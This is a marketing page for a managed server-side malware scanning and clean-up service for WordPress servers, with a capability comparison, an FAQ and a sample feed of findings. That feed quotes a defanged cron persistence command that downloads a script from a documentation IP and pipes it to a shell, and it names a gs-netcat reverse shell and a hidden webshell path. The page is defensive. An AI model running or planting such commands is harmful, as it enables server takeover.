Forensic Scan
Find the first point of infection on any server
dfir-fast
The PatientZero platform
Malware detection and removal, from the server up.
PatientZero connects to your server over SSH, deploys its own scan engine and runs forensic scans and malware sweeps across every site. Then it hardens what it finds, and keeps watching.
How it works
Your server. Our engine. Human-verified results.
SSH keyleast privilege · revocable
Scan engine/opt/patient-zero/scan-engine
Findings → Fix → Hardenverified by our team
Modules
Five capabilities. One loop.
Monitor, detect, clean, harden, report. Each module feeds the next.
Malware Sweep
Signatures and heuristics across every site
malware-intelligence
Hardening
Shipped playbooks that lock the door behind you
harden
Monitoring
Scheduled scans, alerts and a clear action queue
monitor
Reports
Evidence-grade reports and a full audit trail
reports
Malware removal service
The platform in the hands of our incident team: unlimited clean-ups on every plan.
human-verified
Overview
Fleet health, needs-attention queue
Sign up
Connect a server in minutes
Scans
dfir-fast and malware-intelligence across every server
Why server-side
What a plugin sees vs what PatientZero sees.
Security plugins are useful. They just can’t see below WordPress, where persistent malware lives.
| Capability | Typical security plugin | PatientZero |
|---|---|---|
| Files inside WordPress | Yes | Yes |
| Cron jobs and systemd persistence | —No | Yes |
| Other sites on the same server | —No | Yes |
| Reverse shells and rogue VPN nodes | —No | Yes |
| Rogue system users and SSH keys | —No | Yes |
| Keeps working if WordPress is compromised | —No | Yes |
| Forensic timeline of the attack | —No | Yes |
| Human-verified clean-up included | —No | Yes |
More detail: Security plugin vs server-side malware scanning.
- ▲ CRITICALwebshell detected/wp-content/uploads/2026/08/.cache.php
- ✓ QUARANTINEDevidence hashedsha256:9f2c…e41a
- ▲ CRITICALcrontab persistence*/1 * * * * curl -s hxxp://203.0.113.24/x | sh
- ✓ REMOVEDcron entry + payload/tmp/.x/kworkerd
- ▲ HIGHrogue admin accountwp_users: wp_support_admin
- ● WARNINGoutdated plugincontact-form-builder 2.1.4
- ▲ CRITICALreverse shell listenergs-netcat → 198.51.100.7
- ✓ HARDENEDPHP execution disabled/wp-content/uploads/
- ▲ HIGHinjected JS redirectwp-includes/js/jquery/jquery.min.js
- ✓ RESTOREDWordPress core checksums34 sites
- ▲ CRITICALSEO spam doorway pages/wp-content/themes/twenty/sx/*.html
- ✓ CLEANmalware sweep completeacme-prod-01
How does PatientZero connect to my server?
Over SSH using a key you control. PatientZero deploys its scan engine to /opt/patient-zero/scan-engine on the server, runs scans locally, and you can revoke the key at any time.
Is this a WordPress plugin?
No. Plugins run inside WordPress and can be disabled or fooled by the malware they are looking for. PatientZero scans from the server itself, so it sees cron jobs, system users, other sites and files outside WordPress.
Does it scan every site on the server?
Yes. Forensic scans and malware sweeps run across every site the server user can see, because one infected site can re-infect the rest.
Is the platform self-serve?
PatientZero is delivered as a managed service: our team runs the platform, verifies every finding and performs clean-ups. Book a demo to see it on a real server.
Find patient zero before attackers find the next one.
Get protected with unlimited malware removal, 24/7 monitoring and hardening, or get emergency help right now.
or call 01932 593642